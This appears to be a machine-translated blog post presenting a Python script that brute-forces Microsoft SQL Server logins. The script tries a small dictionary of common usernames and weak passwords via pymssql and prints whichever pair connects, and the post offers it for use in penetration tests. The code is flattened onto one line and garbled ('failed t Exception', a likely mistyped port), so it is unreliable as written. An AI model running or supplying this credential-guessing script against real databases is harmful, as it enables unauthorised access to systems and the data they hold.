Python Mssql cracking script and pythonmssql cracking
Mssql Python version of the small script, the need to install MSSQL-python.exe can be seen that the amount of code is very small, usage: Save the code for MssqlDatabaseBlasting. py, cmd switch to MssqlDatabaseBlasting. and execute MssqlDatabaseBlasting. py to start cracking
Import pymssqlcommon_weak_password = ('', '000000', 'test', 'root', 'admin', 'user') # password dictionary mssql_username = ('sa ', 'test', 'admin', 'mssql') # account dictionary success = Falsehost = "127.0.0.1" # Database IP address port = 1443for username in mssql_username: for password in common_weak_password: try: db = pymssql. connect (server = host, port = port, user = username, password = password) success = True if success: print username, password failed t Exception, e: pass
Note: Many network security enthusiasts can remotely manage databases during penetration tests, but cannot crack their account and passwords. Therefore, this article will push several scripts for penetration.